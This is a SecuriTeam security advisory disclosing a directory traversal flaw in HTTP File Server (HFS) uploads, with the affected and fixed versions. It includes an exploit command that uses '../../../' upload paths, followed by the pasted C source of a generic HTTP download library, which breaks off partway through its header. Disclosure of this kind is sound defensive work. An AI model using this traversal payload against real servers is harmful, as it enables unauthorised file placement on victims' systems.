[NT] HTTP File Server Upload Directory Traversal



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



HTTP File Server Upload Directory Traversal
------------------------------------------------------------------------


SUMMARY

<http://www.rejetto.com/hfs/> HFS is "an HTTP File Server that can be to
send and receive files". A directory traversal vulnerability in HFS allows
remote attackers to upload files to locations that reside outside the
bounding HTTP root directory.

DETAILS

Vulnerable Systems:
* HTTP File Server (HFS) version 2.2a and prior
* HTTP File Server (HFS) version 2.3beta and prior

Immune Systems:
* HTTP File Server (HFS) version 2.2b #150
* HTTP File Server (HFS) version 2.3 beta #160

HFS allows the uploading of files to the real folders added to the Virtual
File System. The problem is that an attacker can upload files outside the
destination folder reaching the root or any other directory on the disk in
which is located the upload folder using the ../ pattern.

Note that uploading must be enabled on the target folder, that the
attacker must have access to it (is possible to restrict the access to
that folder to a specific account) and that is not possible to overwrite
existing files because the server avoids it (for example if a file called
file.txt already exists the new one will be called file(1).txt).

Exploit:
Download myhttpup from: <http://aluigi.org/testz/myhttpup.zip>
http://aluigi.org/testz/myhttpup.zip and run:
myhttpup http://SERVER/folder file.txt ../../../file.txt

(The code of myhttpup.zip has been pasted below)

mydownlib.c:
/*

mydownlib
by Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org

Copyright 2006,2007 Luigi Auriemma

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <sys/stat.h>
#include <time.h>
#include <ctype.h>
#include <zlib.h>
#include "mydownlib.h"

#ifdef WIN32
#include <winsock.h>

#define close closesocket
#define in_addr_t uint32_t
#define TEMPOZ1
#define TEMPOZ2 GetTickCount()
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/times.h>
#include <sys/timeb.h>

#define stristr strcasestr
#define stricmp strcasecmp
#define strnicmp strncasecmp
#define TEMPOZ1 ftime(&timex)
#define TEMPOZ2 ((timex.time * 1000) + timex.millitm)
#define ONESEC 1
#endif



#define VISDELAY 500
#define BUFFSZ 4096
#define MAXARGS 8 // modify it if you need more args in mydown_scanhead
#define MAXDNS 32
#define TEMPOZ(x) TEMPOZ1; \
x = TEMPOZ2



typedef struct { // lame DNS caching implementation
uint8_t *host;
in_addr_t ip;
} dns_db_t;

int dns_db_max = 0,
dns_db_add = 0;
dns_db_t dns_db[MAXDNS];



void mydown_get_host(uint8_t *url, uint8_t **hostx, uint16_t *portx,
uint8_t **urix, uint8_t **userx, uint8_t **passx, int verbose);
uint8_t *mydown_http_delimit(uint8_t *data);
uint8_t *mydown_uri2hex(uint8_t *uri);
uint8_t *mydown_hex2uri(uint8_t *uri);
void mydown_scanhead(uint8_t *data, int datalen, ...);
uint8_t *mydown_http_skip(uint8_t *buff, int len, int *needed, int
*remain);
void mydown_free(uint8_t **buff);
int mydown_chunked_skip(uint8_t *buff, int chunkedsize);
int mydown_unzip(z_stream z, uint8_t *in, int inlen, uint8_t **outx, int
*outxlen);
int mydown_sscanf_hex(uint8_t *data, int datalen);
int mydown_timeout(int sock, int secs);
int mydown_recv(int sd, uint8_t *data, int len, int timeout);
uint8_t *mydown_showhttp80(uint16_t port);
void mydown_showstatus(uint32_t fsize, uint32_t ret, int timediff, int
verbose);
uint8_t *mydown_base64_encode(uint8_t *data, int *length);
in_addr_t mydown_resolv(char *host);



uint32_t mydown(uint8_t *myurl, uint8_t *filename, mydown_options *opt) {
FILE *fd = NULL;
uint32_t from = 0,
tot = 0,
filesize = MYDOWN_ERROR;
int showhead = 0,
resume = 0,
onlyifdiff = 0,
verbose = 0,
*keep_alive = 0,
*ret_code = 0,
timeout = 0,
onflyunzip = 0,
contentsize = 0;
uint16_t port = 0;
uint8_t *url = NULL,
*uri = NULL,
*host = NULL,
*user = NULL,
*pass = NULL,
*referer = NULL,
*useragent = NULL,
*cookie = NULL,
*more_http = NULL,
**filedata = NULL,
*content = NULL,
*get = NULL;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);
setbuf(stderr, NULL);

if(opt) {
from = opt->from;
tot = opt->tot;
showhead = opt->showhead;
resume = opt->resume;
onlyifdiff = opt->onlyifdiff;
user = opt->user;
pass = opt->pass;
referer = opt->referer;
useragent = opt->useragent;
cookie = opt->cookie;
more_http = opt->more_http;
verbose = opt->verbose;
filedata = opt->filedata;
keep_alive = opt->keep_alive;
timeout = opt->timeout;
ret_code = opt->ret_code;
onflyunzip = opt->onflyunzip;
content = opt->content;
contentsize = opt->contentsize;
get = opt->get;

if(user) {
if(verbose > 0) fprintf(stderr,
" user %s\n"
" pass %s\n",
user,
pass);
}
}

if(!myurl) return(MYDOWN_ERROR);
url = strdup(myurl);
if(!url) return(MYDOWN_ERROR);
mydown_get_host(url, &host, &port, &uri, &user, &pass, verbose);

if(verbose > 0) fprintf(stderr, " start download\n");

filesize = mydown_http2file(
keep_alive, // int *sock
timeout, // int timeout
host, // uint8_t *host
port, // uint16_t port
user, // uint8_t *user
pass, // uint8_t *pass
referer, // uint8_t *referer
useragent, // uint8_t *useragent
cookie, // uint8_t *cookie
more_http, // uint8_t *more_http
verbose, // int verbose
uri, // uint8_t *getstr
fd, // FILE *fd
filename, // uint8_t *filename
showhead, // int showhead
onlyifdiff, // int onlyifdiff
resume, // int resume
from, // uint32_t from
tot, // uint32_t tot
NULL, // uint32_t *filesize
filedata, // uint8_t **filedata
ret_code, // int *ret_code
onflyunzip, // int onflyunzip
content, // uint8_t *content
contentsize, // int contentsize
get // uint8_t *get
);

if(fd) fclose(fd);
if(url) free(url);
if(uri) free(uri);
return(filesize);
}



void mydown_get_host(uint8_t *url, uint8_t **hostx, uint16_t *portx,
uint8_t **urix, uint8_t **userx, uint8_t **passx, int verbose) {
uint16_t port = 80;
uint8_t *host = NULL,
*uri = NULL,
*user = NULL,
*pass = NULL,
*p;

host = url;

p = strstr(host, "://"); // handle http://
if(!p) p = strstr(host, ":\\\\");
if(p) {
for(p += 3; *p; p++) { // in case of http:////
if((*p != '/') && (*p != '\\')) break;
}
host = p;
}

for(p = host; *p; p++) { // search the uri
if((*p == '/') || (*p == '\\')) {
uri = p;
break;
}
}
if(uri) {
*uri++ = 0;
uri = mydown_uri2hex(uri);
}
if(!uri) uri = strdup(""); // in case mydown_uri2hex fails

p = strchr(host, '@');
if(p) {
*p = 0;

user = host;

pass = strchr(host, ':');
if(pass) {
*pass++ = 0;
} else {
pass = "";
}

host = p + 1;
}

p = strchr(host, ':');
if(p) {
*p = 0;
port = atoi(p + 1);
}

if(verbose >= 0) fprintf(stderr, " %s\n", url);
if(verbose > 0) fprintf(stderr,
" host %s : %hu\n"
" uri %s\n",
host, port,
uri);

if(user) {
if(verbose > 0) fprintf(stderr,
" user %s\n"
" pass %s\n",
user,
pass);
}

*hostx = host;
*portx = port;
*urix = uri;
*userx = user;
*passx = pass;
}



uint8_t *mydown_http_delimit(uint8_t *data) {
if(!data || !data[0]) return(NULL);
while(*data && (*data != '\r') && (*data != '\n')) data++;
*data = 0;
for(data++; *data && ((*data == '\r') || (*data == '\n')); data++);
return(data);
}



uint8_t *mydown_uri2hex(uint8_t *uri) {
static const uint8_t hex[16] = "0123456789abcdef";
uint8_t *ret,
*p,
c;

ret = malloc((strlen(uri) * 3) + 1);
if(!ret) return(NULL);

for(p = ret; *uri; uri++) {
c = *uri;
if(isprint(c)) {
*p++ = c;
} else {
*p++ = '%';
*p++ = hex[c >> 4];
*p++ = hex[c & 15];
}
}
*p = 0;

return(ret);
}



uint8_t *mydown_hex2uri(uint8_t *uri) {
int t;
uint8_t *ret,
*p;

ret = strdup(uri);
if(!ret) return(NULL);

for(p = ret; *uri; uri++, p++) {
if(*uri == '%') {
sscanf(uri + 1, "%02x", &t);
uri += 2;
*p = t;
} else {
*p = *uri;
}
}
*p = 0;

return(ret);
}



void mydown_scanhead(uint8_t *data, int datalen, ...) {
va_list ap;
int i,
vals;
uint8_t *par[MAXARGS],
**val[MAXARGS],
*l,
*p,
*limit;

va_start(ap, datalen);
for(i = 0; i < MAXARGS; i++) {
par[i] = va_arg(ap, uint8_t *);
if(!par[i]) break;
val[i] = va_arg(ap, uint8_t **);
if(!val[i]) break;
*val[i] = NULL;
}
vals = i;
va_end(ap);

for(limit = data + datalen; (l = mydown_http_delimit(data)); data = l)
{
if(l > limit) break;
p = strchr(data, ':');
if(!p) continue;
*p++ = 0;
for(i = 0; i < vals; i++) {
if(stricmp(data, par[i])) continue;
while(*p && ((*p == ' ') || (*p == '\t'))) p++;
*val[i] = p;
break;
}
}
}



uint32_t mydown_http2file(int *sock, int timeout, uint8_t *host, uint16_t
port, uint8_t *user, uint8_t *pass, uint8_t *referer, uint8_t *useragent,
uint8_t *cookie, uint8_t *more_http, int verbose, uint8_t *getstr, FILE
*fd, uint8_t *filename, int showhead, int onlyifdiff, int resume, uint32_t
from, uint32_t tot, uint32_t *filesize, uint8_t **filedata, int *ret_code,
int onflyunzip, uint8_t *content, int contentsize, uint8_t *get) {
#ifndef WIN32
struct timeb timex;
#endif
z_stream z;
struct sockaddr_in peer;
struct stat xstat;
time_t oldtime = 0,
newtime;
uint32_t ret = 0,
httpret = 0,
fsize = 0;
int sd = 0,
t,
err,
len,
code = 0,
b64len,
filedatasz = 0,
httpcompress = 0,
httpgzip = 0,
httpdeflate = 0,
httpz = 0,
chunked = 0,
chunkedsize = 0,
chunkedlen = 0,
wbits,
zbufflen = 0,
httpskipbytes = 0;
uint8_t *buff = NULL,
*query = NULL,
*data = NULL,
*p = NULL,
*s = NULL,
*userpass = NULL,
*b64 = NULL,
*conttype = NULL,
*contlen = NULL,
*contdisp = NULL,
*icyname = NULL,
*transenc = NULL,
*contenc = NULL,
*location = NULL,
*filedatatmp = NULL,
*zbuff = NULL,
*ztmp = NULL,
*chunkedbuff = NULL,
*chunkedtmp = NULL,
*filenamemalloc = NULL;

#define GOTOQUIT { ret = MYDOWN_ERROR; goto quit; }

if(!sock || (sock && !*sock)) {
peer.sin_addr.s_addr = mydown_resolv(host);
if(!peer.sin_addr.s_addr) GOTOQUIT;
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) GOTOQUIT;
if(sock) *sock = sd;

if(verbose > 0) fprintf(stderr, " connect to %s:%hu...",
inet_ntoa(peer.sin_addr), port);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
fprintf(stderr, "\nError: connection refused\n");
GOTOQUIT;
}
if(verbose > 0) fprintf(stderr, "done\n");
} else {
sd = *sock;
}

if(user && pass) {
userpass = malloc(strlen(user) + 1 + strlen(pass) + 1);
if(!userpass) GOTOQUIT;
b64len = sprintf(userpass, "%s:%s", user, pass);
b64 = mydown_base64_encode(userpass, &b64len);
}

if(!get) get = "GET";
if(content && !contentsize) contentsize = strlen(content);

len =
200 + // my format strings
strlen(get) +
strlen(getstr) +
strlen(host) +
5 +
((from || tot) ? 10 + 10 : 0) +
(b64 ? strlen(b64) : 0) +
(referer ? strlen(referer) : 0) +
(useragent ? strlen(useragent) : 0) +
(cookie ? strlen(cookie) : 0) +
(more_http ? strlen(more_http) : 0) +
(content ? contentsize : 0) +
1;

query = malloc(len);
if(!query) GOTOQUIT;

len = sprintf(
query,
"%s /%s HTTP/1.1\r\n"
"Host: %s%s\r\n"
"Connection: %s\r\n",
get, getstr,
host, mydown_showhttp80(port),
sock ? "keep-alive" : "close");

#define HTTP_APPEND len += sprintf(query + len,

if(!onlyifdiff) { // x-compress needs unlzw???
HTTP_APPEND "Accept-Encoding:
deflate,gzip,x-gzip,compress,x-compress\r\n");
}
if(from || tot) {
HTTP_APPEND "Range: bytes=");
if(from != -1) HTTP_APPEND "%u", from);
HTTP_APPEND "-");
if(tot) HTTP_APPEND "%u", tot + ((from == -1) ? 0 : from));
HTTP_APPEND "\r\n");
}
if(b64) {
HTTP_APPEND "Authorization: Basic %s\r\n", b64);
}
if(referer) {
HTTP_APPEND "Referer: %s\r\n", referer);
}
if(useragent) {
HTTP_APPEND "User-Agent: %s\r\n", useragent);
}
if(cookie) {
HTTP_APPEND "Cookie: %s\r\n", cookie);
}
if(more_http) {
HTTP_APPEND "%s", more_http);
if(query[len - 1] == '\r') {
HTTP_APPEND "\n");
} else if(query[len - 1] != '\n') {
HTTP_APPEND "\r\n");
}
}
if(content) {
HTTP_APPEND "Content-length: %d\r\n", contentsize);
}
HTTP_APPEND "\r\n");
if(content) {
memcpy(query + len, content, contentsize);
len += contentsize;
}

#undef HTTP_APPEND

send(sd, query, len, 0);
mydown_free(&query);

buff = malloc(BUFFSZ + 1);
if(!buff) GOTOQUIT;

data = p = buff;
len = BUFFSZ;
while((t = mydown_recv(sd, data, len, timeout)) > 0) {
data += t;
len -= t;
*data = 0;

p = strstr(buff, "\r\n\r\n");
if(p) {
p += 4;
} else {
p = strstr(buff, "\n\n");
if(p) p += 2;
}

if(p) {
*(p - 1) = 0;

if(showhead) {
fprintf(stderr, "\n%s", buff);
goto quit;
}

s = strchr(buff, ' ');
if(s) {
code = atoi(s + 1);

if((code / 100) == 3) {
mydown_scanhead(buff, p - buff,
"location", &location,
NULL, NULL);
if(!location) {
fprintf(stderr, "\nError: remote file is temporary
unavailable (%d)\n", code);
GOTOQUIT;
}
if(verbose > 0) fprintf(stderr, "\n- redirect: %s\n",
location);
mydown_get_host(location, &host, &port, &getstr,
&user, &pass, verbose);
ret = mydown_http2file(sock, timeout, host, port,
user, pass, referer, useragent, cookie, more_http, verbose, getstr, fd,
filename, showhead, onlyifdiff, resume, from, tot, filesize, filedata,
ret_code, onflyunzip, content, contentsize, get);
goto quit;
}

// if((code != 200) && (code != 206)) {
if((code / 100) != 2) {
fprintf(stderr, "\nError: remote file is temporary
unavailable (%d)\n", code);
GOTOQUIT;
}
}

mydown_scanhead(buff, p - buff,
"content-length", &contlen,
"content-type", &conttype,
"content-disposition", &contdisp,
"icy-name", &icyname,
"transfer-encoding", &transenc,
"content-encoding", &contenc,
"Set-Cookie", &cookie,
NULL, NULL);

if(contlen) {
s = strchr(contlen, '/');
if(s) contlen = s + 1;
sscanf(contlen, "%u", &fsize);
}

if(conttype) {
if(stristr(conttype, "compress")) httpcompress = 1;
if(stristr(conttype, "gzip")) httpgzip = 1;
if(!onflyunzip) if(stristr(conttype, "x-gzip")) httpgzip =
0; // work-around
if(stristr(conttype, "deflate")) httpdeflate = 1;
}

if(contenc) {
if(stristr(contenc, "compress")) httpcompress = 1;
if(stristr(contenc, "gzip")) httpgzip = 1;
if(!onflyunzip) if(stristr(contenc, "x-gzip")) httpgzip =
0; // work-around
if(stristr(contenc, "deflate")) httpdeflate = 1;
}

if(!contdisp && icyname) contdisp = icyname;

if(transenc) {
if(stristr(transenc, "chunked")) chunked = 1;
}

if(!filename || !filename[0]) {
if(contdisp) {
s = (uint8_t *)stristr(contdisp, "filename=");
if(!s) s = (uint8_t *)stristr(contdisp, "file=");
if(s) {
s = strchr(s, '=') + 1;
} else {
s = contdisp;
}
while(*s && ((*s == '\"') || (*s == ' ') || (*s ==
'\t'))) s++;
filename = mydown_hex2uri(s);
if(filename) filenamemalloc = filename; // needed for
freeing it later!
if(filename && filename[0]) {
for(s = filename; *s; s++) {
if((*s == '\\') || (*s == '/') || (*s == ';')
|| (*s == ':') || (*s == '\"') || (*s == '&') || (*s == '?')) break;
}
for(s--; (s >= filename) && *s && ((*s == ' ') ||
(*s == '\t')); s--);
*(s + 1) = 0;
}

} else {
filename = mydown_hex2uri(getstr);
if(filename) filenamemalloc = filename; // needed for
freeing it later!
if(filename && filename[0]) {
for(
s = filename + strlen(filename) - 1;
(s >= filename) && (*s != '/') && (*s != '\\')
&& (*s != ':') && (*s != '&') && (*s != '?') && (*s != '=');
s--);
filename = s + 1;
}
}

if(filename) { // last useless check to avoid directory
traversal
s = strrchr(filename, ':');
if(s) filename = s + 1;
s = strrchr(filename, '\\');
if(s) filename = s + 1;
s = strrchr(filename, '/');
if(s) filename = s + 1;

s = strrchr(filename, '.'); // automatic gzip
decompression on the fly
if(s && !stricmp(s, ".gz")) {
if(onflyunzip) {
httpgzip = 1;
*s = 0;
}
}
}
}

if(!filename || !filename[0]) {
if(verbose >= 0) fprintf(stderr, "\nError: no filename
retrieved, you must specify an output filename\n\n");
if(filesize) *filesize = MYDOWN_ERROR;
GOTOQUIT;
}

if(!filedata && !fd) {
if(!strcmp(filename, "-")) {
fd = stdout;
if(verbose >= 0) fprintf(stderr, " file %s\n",
"stdout");
} else {
if(verbose >= 0) fprintf(stderr, " file %s\n",
filename);
err = stat(filename, &xstat);
if(onlyifdiff && !err && (xstat.st_size == fsize)) {
if(verbose >= 0) fprintf(stderr, " the remote file
has the same size of the local one, skip\n");
if(filesize) *filesize = MYDOWN_ERROR;
GOTOQUIT;
}
if((err < 0) || !resume) { // file doesn't exist and
must not resume
fd = fopen(filename, "wb");
} else {
fd = fopen(filename, "ab");
from = xstat.st_size;
if(verbose > 0) fprintf(stderr, " resume %u\n",
from);
ret = mydown_http2file(sock, timeout, host, port,
user, pass, referer, useragent, cookie, more_http, verbose, getstr, fd,
filename, showhead, onlyifdiff, resume, from, tot, filesize, filedata,
ret_code, onflyunzip, content, contentsize, get);
goto quit;
}
if(!fd) {
if(filesize) *filesize = MYDOWN_ERROR;
GOTOQUIT;
}
}
}

break;
}
}

if(t < 0) GOTOQUIT;

if(!p) p = buff;
len = data - p;
memmove(buff, p, len);

httpz = 1;
if(httpcompress) {
if(verbose > 0) fprintf(stderr, " compression: compress\n");
wbits = 15;
} else if(httpgzip) {
if(verbose > 0) fprintf(stderr, " compression: gzip\n");
wbits = -15;
} else if(httpdeflate) {
if(verbose > 0) fprintf(stderr, " compression: deflate\n");
wbits = -15;
} else {
httpz = 0;
}
if(httpz) {
z.zalloc = (alloc_func)0;
z.zfree = (free_func)0;
z.opaque = (voidpf)0;
if(inflateInit2(&z, wbits)) GOTOQUIT;

zbufflen = BUFFSZ * 4;
zbuff = malloc(zbufflen);
if(!zbuff) GOTOQUIT;
}

if(verbose > 0) fprintf(stderr, "\n");
if(fsize) if(verbose > 0) fprintf(stderr, " ");
if(verbose > 0) fprintf(stderr, " | downloaded | bytes/second\n");
if(fsize) if(verbose > 0) fprintf(stderr, "----");
if(verbose > 0) fprintf(stderr, "-/------------/-------------\n");

TEMPOZ(oldtime);
oldtime -= VISDELAY;

if(filedata) {
filedatasz = fsize;
filedatatmp = malloc(filedatasz);
if(!filedatatmp) GOTOQUIT;
}

if(chunked) chunkedsize = len;

do {
redo:
httpret += len;

if(chunked) {
for(;;) {
chunkedsize = mydown_chunked_skip(buff, chunkedsize);

err = mydown_sscanf_hex(buff, chunkedsize);
if(err > 0) break;
if(!err) {
chunkedsize = mydown_chunked_skip(buff, chunkedsize);
break;
}

t = mydown_recv(sd, buff + chunkedsize, BUFFSZ -
chunkedsize, timeout);
if(t <= 0) GOTOQUIT;
chunkedsize += t;
if(chunkedsize >= BUFFSZ) GOTOQUIT;
}

chunkedlen = err;
if(!chunkedlen) break;

if(chunkedbuff) free(chunkedbuff);
chunkedbuff = malloc(chunkedlen);
if(!chunkedbuff) GOTOQUIT;

err = ((uint8_t *)strchr(buff, '\n') + 1) - buff;
chunkedsize -= err;
memmove(buff, buff + err, chunkedsize);

if(chunkedlen < chunkedsize) { // we have more data than how
much we need
memcpy(chunkedbuff, buff, chunkedlen);
chunkedsize -= chunkedlen;
memmove(buff, buff + chunkedlen, chunkedsize);
} else { // we have only part of the needed data
memcpy(chunkedbuff, buff, chunkedsize);
for(len = chunkedsize; len < chunkedlen; len += t) {
t = mydown_recv(sd, chunkedbuff + len, chunkedlen -
len, timeout);
if(t <= 0) GOTOQUIT;
}
chunkedsize = 0;
}

chunkedtmp = buff;
buff = chunkedbuff;
len = chunkedlen;
}

/* DECOMPRESSION */

if(httpz) {
if(httpgzip && !ret) { // gzip is really stupid...
t = len;
s = buff;
if((httpgzip == 1) && !httpskipbytes) httpskipbytes = 3;

for(;;) {
s = mydown_http_skip(s, t, &httpskipbytes, &t);
if(!s) {
t = len;
break;
}
if(httpgzip == 1) {
httpgzip = (*s) ? 2 : 4;
httpskipbytes = 7;
} else if(httpgzip == 2) { // timestamp and name
httpgzip = 3;
} else if(httpgzip == 3) {
while((s - buff) < len) {
if(!*s++) {
httpgzip = 4;
break;
}
}
} else {
t = s - buff;
break;
}
}
len = mydown_unzip(z, buff + t, len - t, &zbuff,
&zbufflen);
} else {
len = mydown_unzip(z, buff, len, &zbuff, &zbufflen);
}
if(len < 0) GOTOQUIT;
ztmp = buff;
buff = zbuff;
}

/* UPDATE THE AMOUNT OF UNCOMPRESSED BYTES DOWNLOADED */
// ret is the total size of the data we have downloaded
(uncompressed)
// httpret is the total size of the data we have downloaded
from the server
// len is the size of the current block of data we have
downloaded (uncompressed)

ret += len;

/* WRITE THE DATA INTO FILE OR MEMORY */

if(filedata) {
if(filedatasz < ret) {
filedatasz = ret;
filedatatmp = realloc(filedatatmp, filedatasz);
if(!filedatatmp) GOTOQUIT;
}
memcpy(filedatatmp + ret - len, buff, len);
} else if(fd) {
if(fwrite(buff, 1, len, fd) != len) {
fprintf(stderr, "\nError: I/O error. Probably your disk is
full or the file is write protected\n");
GOTOQUIT;
}
fflush(fd);
}

/* VISUALIZATION */

TEMPOZ(newtime);
if((newtime - oldtime) >= VISDELAY) {
mydown_showstatus(fsize, httpret, (int)(newtime - oldtime),
verbose);
oldtime = newtime;
}

/* FREE, EXCHANGE OR OTHER STUFF */

if(httpz) {
zbuff = buff;
buff = ztmp;
}
if(chunked) {
chunkedbuff = buff;
buff = chunkedtmp;
len = 0;
goto redo;
}

/* FSIZE CHECK */

if(fsize) {
if(httpret >= fsize) break;
}

/* READ NEW DATA FROM THE STREAM */

} while((len = mydown_recv(sd, buff, BUFFSZ, timeout)) > 0);

TEMPOZ(newtime);
mydown_showstatus(fsize, httpret, (int)(newtime - oldtime), verbose);

if(fsize && (len < 0)) GOTOQUIT;

if(filedata) {
*filedata = filedatatmp;
}

quit:
if(httpz) {
if(zbuff) inflateEnd(&z);
if(zbuff != buff) mydown_free(&zbuff);
}
if(chunkedbuff != buff) mydown_free(&chunkedbuff);
mydown_free(&userpass);
mydown_free(&b64);
mydown_free(&buff);
mydown_free(&filenamemalloc);
if(ret_code) *ret_code = code;
if(sd && !sock) close(sd);
if(verbose >= 0) fputc('\n', stderr);
if(ret == MYDOWN_ERROR) {
if(sock && *sock) {
close(*sock);
*sock = 0;
}
}
return(ret);

#undef GOTOQUIT
}



uint8_t *mydown_http_skip(uint8_t *buff, int len, int *needed, int
*remain) {
int rest;

rest = *needed;
if(len < rest) {
*needed = rest - len;
*remain = 0;
return(NULL);
}
*needed = 0;
*remain = len - rest;
return(buff + rest);
}



void mydown_free(uint8_t **buff) {
if(!*buff) return;
free(*buff);
*buff = NULL;
}



int mydown_chunked_skip(uint8_t *buff, int chunkedsize) {
int t;

for(t = 0; t < chunkedsize; t++) {
if((buff[t] != '\r') && (buff[t] != '\n')) break;
}
if(t) {
chunkedsize -= t;
memmove(buff, buff + t, chunkedsize);
}

return(chunkedsize);
}



int mydown_unzip(z_stream z, uint8_t *in, int inlen, uint8_t **outx, int
*outxlen) {
int zerr,
outsz;
uint8_t *out;

if(!inlen) return(0);

out = *outx;
outsz = *outxlen;

z.next_in = in;
z.avail_in = inlen;

for(;;) {
z.next_out = out + z.total_out;
z.avail_out = outsz - z.total_out;

zerr = inflate(&z, Z_NO_FLUSH);

if(zerr == Z_STREAM_END) break;
if((zerr != Z_OK) && (zerr != Z_BUF_ERROR)) {
fprintf(stderr, "\nError: zlib error %d\n", zerr);
z.total_out = MYDOWN_ERROR;
break;
}

if(!z.avail_in) break;

outsz += (inlen << 1); // inlen * 2 should be enough each time
out = realloc(out, outsz);
if(!out) {
outsz = 0;
z.total_out = MYDOWN_ERROR;
break;
}
}

*outx = out;
*outxlen = outsz;
return(z.total_out);
}



int mydown_sscanf_hex(uint8_t *data, int datalen) {
int i,
ret;

for(i = 0; i < datalen; i++) {
if(data[i] == '\n') break;
}
if(i == datalen) return(MYDOWN_ERROR);

sscanf(data, "%x", &ret);
return(ret);
}



int mydown_timeout(int sock, int secs) {
struct timeval tout;
fd_set fdr;
int err;

tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fdr);
FD_SET(sock, &fdr);
err = select(sock + 1, &fdr, NULL, NULL, &tout);
if(err < 0) return(MYDOWN_ERROR); //std_err();
if(!err) return(MYDOWN_ERROR);
return(0);
}



int mydown_recv(int sd, uint8_t *data, int len, int timeout) {
if(timeout) {
if(mydown_timeout(sd, timeout) < 0) return(MYDOWN_ERROR);
}
return(recv(sd, data, len, 0));
}



uint8_t *mydown_showhttp80(uint16_t port) {
static uint8_t mini[7];

*mini = 0;
if(port != 80) sprintf(mini, ":%hu", port);
return(mini);
}



void mydown_showstatus(uint32_t fsize, uint32_t ret, int timediff, int
verbose) {
uint32_t vis;

if(fsize) {
if(verbose >= 0) {
vis = (ret * 100) / fsize;
fprintf(stderr, "%3u%%", (vis < 100) ? vis : 100);
}
}
if(verbose >= 0) fprintf(stderr, " %10u", ret);
if(ret > 0) {
if(verbose >= 0) {
if(timediff) fprintf(stderr, " %-10u", (ret * 1000) /
timediff);
}
}
if(verbose >= 0) fprintf(stderr, "\r");
}



uint8_t *mydown_base64_encode(uint8_t *data, int *size) {
int len;
uint8_t *buff,
*p,
a,
b,
c;
static const uint8_t base[64] = {
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
};

if(!size || (*size < 0)) { // use size -1 for auto text size!
len = strlen(data);
} else {
len = *size;
}
buff = malloc(((len / 3) << 2) + 6);
if(!buff) return(NULL);

p = buff;
do {
a = data[0];
b = data[1];
c = data[2];
*p++ = base[(a >> 2) & 63];
*p++ = base[(((a & 3) << 4) | ((b >> 4) & 15)) & 63];
*p++ = base[(((b & 15) << 2) | ((c >> 6) & 3)) & 63];
*p++ = base[c & 63];
data += 3;
len -= 3;
} while(len > 0);
*p = 0;

for(; len < 0; len++) *(p + len) = '=';

if(size) *size = p - buff;
return(buff);
}



in_addr_t mydown_resolv(char *host) {
struct hostent *hp;
in_addr_t host_ip;
int i;
dns_db_t *dns;

host_ip = inet_addr(host);
if(host_ip == htonl(INADDR_NONE)) {

for(i = 0; i < dns_db_max; i++) { // search
if(!stricmp(host, dns_db[i].host)) return(dns_db[i].ip);
}

hp = gethostbyname(host);
if(!hp) {
fprintf(stderr, "\nError: Unable to resolve hostname
(%s)\n\n", host);
return(0);
}
host_ip = *(in_addr_t *)(hp->h_addr);

if(!dns_db_max) memset(&dns_db, 0, sizeof(dns_db));
if(dns_db_add == MAXDNS) dns_db_add = 0; // add
dns = &dns_db[dns_db_add];
if(dns->host) free(dns->host);
dns->host = strdup(host);
dns->ip = host_ip;
dns_db_add++;
if(dns_db_max < MAXDNS) dns_db_max++;
}
return(host_ip);
}

mydownlib.h:
/*

mydownlib
by Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org

Copyright 2006,2007 Luigi Auriemma

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>



#define MYDOWN_VER "0.2.2"
#define MYDOWN_ERROR (-1)



typedef struct {
uint32_t from; // download from byte, use -1 for the latest tot bytes
uint32_t tot; // download tot bytes
int showhead; // show the http header and stop (1 = yes, 0 = no)
int resume; // resume a download (1 = yes, 0 = no)
int onlyifdiff; // download only if differs from local file (1 = yes,
0 = no)
uint8_t *user; // username for authentication
uint8_t *pass; // password for authentication
uint8_t *referer; // referer string
uint8_t *useragent; // user-agent string
uint8_t *cookie; // cookie string
uint8_t *more_http; // additional http parameters
int verbose; // verbosity (-1 = quiet, 0 = normal, 1 = verbose)
uint8_t **filedata; // use it if you want to store the downloaded file
in memory
int *keep_alive; // keep-alive socket
int timeout; // seconds of timeout
int *ret_code; // HTTP code from the server
int onflyunzip; // unpack the file on the fly if possible (usually
gzipped)
uint8_t *content; // data to post
int contentsize; // optional size of content (default is auto)
uint8_t *get; // the type of request, like GET or POST or HEAD or
anything else
} mydown_options;



uint32_t mydown( // ret: file size
uint8_t *myurl, // the URL
